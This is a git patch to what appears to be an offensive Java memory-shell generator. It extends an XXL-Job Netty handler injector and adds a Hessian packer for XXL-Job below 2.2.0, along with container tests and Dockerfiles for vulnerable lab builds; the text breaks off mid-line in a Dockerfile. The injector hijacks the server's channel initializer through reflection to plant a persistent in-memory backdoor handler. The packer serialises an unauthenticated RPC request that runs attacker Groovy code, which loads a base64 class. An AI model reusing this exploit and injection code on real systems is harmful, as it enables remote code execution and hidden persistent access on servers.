From 29c19a318f4d836e506146e344d5bc0a0190c874 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 16 Jul 2026 11:00:09 +0800 Subject: [PATCH] feat: suitable for xxl-job < 2.2.0 #151 --- .../xxljob/XxlJobNettyHandlerInjector.java | 92 +++++++++++-------- .../xxl-job/docker-compose-202.yaml | 17 ++++ .../xxl-job/docker-compose-212.yaml | 17 ++++ .../javaweb/integration/ShellAssertion.java | 1 + .../reajason/javaweb/integration/VulTool.java | 18 ++++ .../xxljob/XxlJob202ContainerTest.java | 67 ++++++++++++++ .../xxljob/XxlJob212ContainerTest.java | 67 ++++++++++++++ .../xxljob/XxlJob250ContainerTest.java | 67 ++++++++++++++ .../com/reajason/javaweb/packer/Packers.java | 5 + .../packer/xxljob/XxlJobHessianPacker.java | 57 ++++++++++++ .../XxlJobJsonPacker.java} | 7 +- .../javaweb/packer/xxljob/XxlJobPacker.java | 10 ++ .../xxl/job/core/biz/model/TriggerParam.java | 56 +++++++++++ .../remoting/net/params/XxlRpcRequest.java | 37 ++++++++ .../memshell-party/XXL-Job-DefineClass.java | 1 + vul/dockerfile/xxl-job/212/admin/Dockerfile | 24 +++++ .../xxl-job/212/admin/docker-entrypoint.sh | 9 ++ .../xxl-job/212/executor/Dockerfile | 23 +++++ .../xxl-job/212/executor/docker-entrypoint.sh | 7 ++ 19 files changed, 544 insertions(+), 38 deletions(-) create mode 100644 integration-test/docker-compose/xxl-job/docker-compose-202.yaml create mode 100644 integration-test/docker-compose/xxl-job/docker-compose-212.yaml create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob202ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob212ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob250ContainerTest.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobHessianPacker.java rename packer/src/main/java/com/reajason/javaweb/packer/{XxlJobPacker.java => xxljob/XxlJobJsonPacker.java} (85%) create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobPacker.java create mode 100644 packer/src/main/java/com/xxl/job/core/biz/model/TriggerParam.java create mode 100644 packer/src/main/java/com/xxl/rpc/remoting/net/params/XxlRpcRequest.java create mode 100644 vul/dockerfile/xxl-job/212/admin/Dockerfile create mode 100755 vul/dockerfile/xxl-job/212/admin/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/212/executor/Dockerfile create mode 100755 vul/dockerfile/xxl-job/212/executor/docker-entrypoint.sh diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java index b5315eca..aeb004cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java @@ -1,13 +1,8 @@ package com.reajason.javaweb.memshell.injector.xxljob; -import com.xxl.job.core.biz.impl.ExecutorBizImpl; -import com.xxl.job.core.server.EmbedServer; import io.netty.channel.ChannelHandler; import io.netty.channel.ChannelInitializer; import io.netty.channel.socket.SocketChannel; -import io.netty.handler.codec.http.HttpObjectAggregator; -import io.netty.handler.codec.http.HttpServerCodec; -import io.netty.handler.timeout.IdleStateHandler; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -15,11 +10,8 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.HashSet; import java.util.Set; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.ThreadPoolExecutor; -import java.util.concurrent.TimeUnit; +import java.util.UUID; import java.util.zip.GZIPInputStream; /** @@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer handlerClass; + private static ChannelHandler originalChildHandler; + private final String handlerName = UUID.randomUUID().toString(); @Override protected void initChannel(SocketChannel channel) throws Exception { + if (channel.pipeline().get(handlerName) != null) { + return; + } ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance(); - channel.pipeline() - .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) - .addLast(new HttpServerCodec()) - .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) - .addLast(channelHandler) - .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor( - 0, - 200, - 60L, - TimeUnit.SECONDS, - new LinkedBlockingQueue<>(2000), - r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()), - (r, executor) -> { - throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!"); - }))); + channel.pipeline().addLast(originalChildHandler); + String httpCodecName = null; + for (String name : channel.pipeline().names()) { + if (name.contains("HttpObjectAggregator")) { + httpCodecName = name; + break; + } + } + if (httpCodecName != null) { + channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler); + } else { + channel.pipeline().addFirst(handlerName, channelHandler); + } } private Class getShellClass(Object context) throws Exception { @@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread != null && thread.getName().contains("nioEventLoopGroup")) { Object target; try { - target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor"); + Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable"); + Field evField = getField(innerRunnable.getClass(), "val$eventExecutor"); + if (evField == null) { + evField = getField(innerRunnable.getClass(), "this$0"); + } + if (evField == null) { + continue; + } + target = evField.get(innerRunnable); if (target.getClass().getName().endsWith("NioEventLoop")) { - HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); - if (!set.isEmpty()) { - Object keys = set.toArray()[0]; - Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); - Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); - handlerClass = getShellClass(embedHttpServerHandler); - setFieldValue(embedHttpServerHandler, "childHandler", this); - return; + Set set = (Set) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); + for (Object key : set.toArray()) { + try { + Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline"); + Object tail = getFieldValue(pipeline, "tail"); + Object prevContext = getFieldValue(tail, "prev"); + Object acceptor = getFieldValue(prevContext, "handler"); + if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) { + continue; + } + Field childHandlerField = getField(acceptor.getClass(), "childHandler"); + if (childHandlerField == null) { + continue; + } + childHandlerField.setAccessible(true); + originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor); + handlerClass = getShellClass(acceptor); + childHandlerField.set(acceptor, this); + return true; + } catch (Exception ignored) { + } } } } catch (Exception ignored) { } } } + return false; } @SuppressWarnings("all") diff --git a/integration-test/docker-compose/xxl-job/docker-compose-202.yaml b/integration-test/docker-compose/xxl-job/docker-compose-202.yaml new file mode 100644 index 00000000..20509ee2 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-202.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.0.2-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.0.2-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/docker-compose/xxl-job/docker-compose-212.yaml b/integration-test/docker-compose/xxl-job/docker-compose-212.yaml new file mode 100644 index 00000000..074f5540 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-212.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.1.2-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.1.2-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 5951e3f3..ddc5998d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -447,6 +447,7 @@ public class ShellAssertion { case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); + case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content); case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content); case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content); default -> throw new IllegalStateException("Unexpected value: " + packer); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 328f5ee1..3376d06a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -6,6 +6,7 @@ import okhttp3.*; import org.junit.jupiter.api.Assertions; import java.io.IOException; +import java.util.Base64; import static org.junit.jupiter.api.Assertions.assertEquals; @@ -78,6 +79,23 @@ public class VulTool { } } + @SneakyThrows + public static void xxlJobHessianExecutor(String url, String base64Bytes) { + byte[] requestBytes = Base64.getDecoder().decode(base64Bytes); + OkHttpClient client = new OkHttpClient(); + RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream")); + Request request = new Request.Builder() + .url(url) + .post(body) + .addHeader("Connection", "close") + .build(); + log.info("sending hessian2 xxl-rpc request to: {}", url); + try (Response response = client.newCall(request).execute()) { + log.info("xxl-rpc hessian2 response code: {}", response.code()); + Thread.sleep(1000); + } + } + @SneakyThrows public static void xxlJobExecutor(String url, String data) { OkHttpClient client = new OkHttpClient(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob202ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob202ContainerTest.java new file mode 100644 index 00000000..43026274 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob202ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.memshell.xxljob; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.ComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +@Testcontainers +@Slf4j +public class XxlJob202ContainerTest { + + public static final String imageName = "xxljob/xxljob202"; + + @Container + public static final ComposeContainer compose = + new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml")) + .withExposedService("executor", 9999); + + static Stream casesProvider() { + String server = Server.XXLJOB; + List supportedShellTypes = List.of(ShellType.NETTY_HANDLER); + List testPackers = List.of(Packers.XxlJobHessian); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName("executor").get().getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + } + + public static String getUrl() { + String host = compose.getServiceHost("executor", 9999); + int port = compose.getServicePort("executor", 9999); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob212ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob212ContainerTest.java new file mode 100644 index 00000000..e607e09c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob212ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.memshell.xxljob; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.ComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +@Testcontainers +@Slf4j +public class XxlJob212ContainerTest { + + public static final String imageName = "xxljob/xxljob212"; + + @Container + public static final ComposeContainer compose = + new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml")) + .withExposedService("executor", 9999); + + static Stream casesProvider() { + String server = Server.XXLJOB; + List supportedShellTypes = List.of(ShellType.NETTY_HANDLER); + List testPackers = List.of(Packers.XxlJobHessian); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName("executor").get().getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + } + + public static String getUrl() { + String host = compose.getServiceHost("executor", 9999); + int port = compose.getServicePort("executor", 9999); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob250ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob250ContainerTest.java new file mode 100644 index 00000000..d3753e8a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob250ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.memshell.xxljob; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.ComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +@Testcontainers +@Slf4j +public class XxlJob250ContainerTest { + + public static final String imageName = "xxljob/xxljob250"; + + @Container + public static final ComposeContainer compose = + new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml")) + .withExposedService("executor", 9999); + + static Stream casesProvider() { + String server = Server.XXLJOB; + List supportedShellTypes = List.of(ShellType.NETTY_HANDLER); + List testPackers = List.of(Packers.XxlJob); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName("executor").get().getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer); + } + + public static String getUrl() { + String host = compose.getServiceHost("executor", 9999); + int port = compose.getServicePort("executor", 9999); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 2621c34d..213ba6f1 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -50,6 +50,9 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; +import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker; +import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker; +import com.reajason.javaweb.packer.xxljob.XxlJobPacker; import lombok.Getter; import java.util.List; @@ -180,6 +183,8 @@ public enum Packers { GroovyTransformJar(new GroovyTransformJarPacker()), XxlJob(new XxlJobPacker()), + XxlJobJson(new XxlJobJsonPacker(), XxlJobPacker.class), + XxlJobHessian(new XxlJobHessianPacker(), XxlJobPacker.class), ; private final Packer instance; private Class parentPacker = null; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobHessianPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobHessianPacker.java new file mode 100644 index 00000000..34416579 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobHessianPacker.java @@ -0,0 +1,57 @@ +package com.reajason.javaweb.packer.xxljob; + +import com.caucho.hessian.io.Hessian2Output; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; +import com.xxl.job.core.biz.model.TriggerParam; +import com.xxl.rpc.remoting.net.params.XxlRpcRequest; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.util.Base64; +import java.util.UUID; + +/** + * @author ReaJason + * @since 2026/07/14 + */ +public class XxlJobHessianPacker implements Packer { + private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java"); + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String source = template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); + + TriggerParam triggerParam = new TriggerParam(); + triggerParam.setJobId(1); + triggerParam.setExecutorHandler("demoJobHandler"); + triggerParam.setExecutorParams("demoJobHandler"); + triggerParam.setExecutorBlockStrategy("COVER_EARLY"); + triggerParam.setExecutorTimeout(0); + triggerParam.setLogId(1); + triggerParam.setLogDateTime(System.currentTimeMillis()); + triggerParam.setGlueType("GLUE_GROOVY"); + triggerParam.setGlueSource(source); + triggerParam.setGlueUpdatetime(System.currentTimeMillis()); + triggerParam.setBroadcastIndex(0); + triggerParam.setBroadcastTotal(0); + + XxlRpcRequest rpcRequest = new XxlRpcRequest(); + rpcRequest.setRequestId(UUID.randomUUID().toString()); + rpcRequest.setCreateMillisTime(System.currentTimeMillis()); + rpcRequest.setAccessToken(null); + rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz"); + rpcRequest.setMethodName("run"); + rpcRequest.setParameterTypes(new Class[]{TriggerParam.class}); + rpcRequest.setParameters(new Object[]{triggerParam}); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(bos); + hessian2Output.writeObject(rpcRequest); + hessian2Output.flush(); + return Base64.getEncoder().encodeToString(bos.toByteArray()); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobJsonPacker.java similarity index 85% rename from packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java rename to packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobJsonPacker.java index 41147bf2..15204653 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/XxlJobPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobJsonPacker.java @@ -1,7 +1,10 @@ -package com.reajason.javaweb.packer; +package com.reajason.javaweb.packer.xxljob; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Util; import lombok.SneakyThrows; import java.util.HashMap; @@ -11,7 +14,7 @@ import java.util.Map; * @author ReaJason * @since 2025/1/21 */ -public class XxlJobPacker implements Packer { +public class XxlJobJsonPacker implements Packer { private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java"); private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT); diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobPacker.java new file mode 100644 index 00000000..e26333fa --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xxljob/XxlJobPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.xxljob; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobPacker implements AggregatePacker { +} \ No newline at end of file diff --git a/packer/src/main/java/com/xxl/job/core/biz/model/TriggerParam.java b/packer/src/main/java/com/xxl/job/core/biz/model/TriggerParam.java new file mode 100644 index 00000000..081e775f --- /dev/null +++ b/packer/src/main/java/com/xxl/job/core/biz/model/TriggerParam.java @@ -0,0 +1,56 @@ +package com.xxl.job.core.biz.model; + +import java.io.Serializable; + +public class TriggerParam implements Serializable { + private static final long serialVersionUID = 42L; + + private int jobId; + private String executorHandler; + private String executorParams; + private String executorBlockStrategy; + private int executorTimeout; + private long logId; + private long logDateTime; + private String glueType; + private String glueSource; + private long glueUpdatetime; + private int broadcastIndex; + private int broadcastTotal; + + public int getJobId() { return jobId; } + public void setJobId(int jobId) { this.jobId = jobId; } + + public String getExecutorHandler() { return executorHandler; } + public void setExecutorHandler(String executorHandler) { this.executorHandler = executorHandler; } + + public String getExecutorParams() { return executorParams; } + public void setExecutorParams(String executorParams) { this.executorParams = executorParams; } + + public String getExecutorBlockStrategy() { return executorBlockStrategy; } + public void setExecutorBlockStrategy(String executorBlockStrategy) { this.executorBlockStrategy = executorBlockStrategy; } + + public int getExecutorTimeout() { return executorTimeout; } + public void setExecutorTimeout(int executorTimeout) { this.executorTimeout = executorTimeout; } + + public long getLogId() { return logId; } + public void setLogId(long logId) { this.logId = logId; } + + public long getLogDateTime() { return logDateTime; } + public void setLogDateTime(long logDateTime) { this.logDateTime = logDateTime; } + + public String getGlueType() { return glueType; } + public void setGlueType(String glueType) { this.glueType = glueType; } + + public String getGlueSource() { return glueSource; } + public void setGlueSource(String glueSource) { this.glueSource = glueSource; } + + public long getGlueUpdatetime() { return glueUpdatetime; } + public void setGlueUpdatetime(long glueUpdatetime) { this.glueUpdatetime = glueUpdatetime; } + + public int getBroadcastIndex() { return broadcastIndex; } + public void setBroadcastIndex(int broadcastIndex) { this.broadcastIndex = broadcastIndex; } + + public int getBroadcastTotal() { return broadcastTotal; } + public void setBroadcastTotal(int broadcastTotal) { this.broadcastTotal = broadcastTotal; } +} diff --git a/packer/src/main/java/com/xxl/rpc/remoting/net/params/XxlRpcRequest.java b/packer/src/main/java/com/xxl/rpc/remoting/net/params/XxlRpcRequest.java new file mode 100644 index 00000000..9f300e7d --- /dev/null +++ b/packer/src/main/java/com/xxl/rpc/remoting/net/params/XxlRpcRequest.java @@ -0,0 +1,37 @@ +package com.xxl.rpc.remoting.net.params; + +import java.io.Serializable; + +public class XxlRpcRequest implements Serializable { + private static final long serialVersionUID = 42L; + + private String requestId; + private long createMillisTime; + private String accessToken; + + private String className; + private String methodName; + private Class[] parameterTypes; + private Object[] parameters; + + public String getRequestId() { return requestId; } + public void setRequestId(String requestId) { this.requestId = requestId; } + + public long getCreateMillisTime() { return createMillisTime; } + public void setCreateMillisTime(long createMillisTime) { this.createMillisTime = createMillisTime; } + + public String getAccessToken() { return accessToken; } + public void setAccessToken(String accessToken) { this.accessToken = accessToken; } + + public String getClassName() { return className; } + public void setClassName(String className) { this.className = className; } + + public String getMethodName() { return methodName; } + public void setMethodName(String methodName) { this.methodName = methodName; } + + public Class[] getParameterTypes() { return parameterTypes; } + public void setParameterTypes(Class[] parameterTypes) { this.parameterTypes = parameterTypes; } + + public Object[] getParameters() { return parameters; } + public void setParameters(Object[] parameters) { this.parameters = parameters; } +} diff --git a/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java b/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java index 3088ba5c..7fccf517 100644 --- a/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java +++ b/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java @@ -5,6 +5,7 @@ import java.util.Base64; public class DemoGlueJobHandler extends IJobHandler { + @groovy.transform.CompileStatic public static class Definder extends ClassLoader { public Definder() { super(Thread.currentThread().getContextClassLoader()); diff --git a/vul/dockerfile/xxl-job/212/admin/Dockerfile b/vul/dockerfile/xxl-job/212/admin/Dockerfile new file mode 100644 index 00000000..13090125 --- /dev/null +++ b/vul/dockerfile/xxl-job/212/admin/Dockerfile @@ -0,0 +1,24 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b 2.1.2 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM eclipse-temurin:8-jdk + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.1.2.jar /usr/src/xxl-job-admin-2.1.2.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.1.2.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/212/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/212/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/212/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/212/executor/Dockerfile b/vul/dockerfile/xxl-job/212/executor/Dockerfile new file mode 100644 index 00000000..0142205b --- /dev/null +++ b/vul/dockerfile/xxl-job/212/executor/Dockerfile @@ -0,0 +1,23 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b 2.1.2 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM eclipse-temurin:8-jdk + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.1.2.jar /usr/src/xxl-job-executor-sample-springboot-2.1.2.jar +COPY 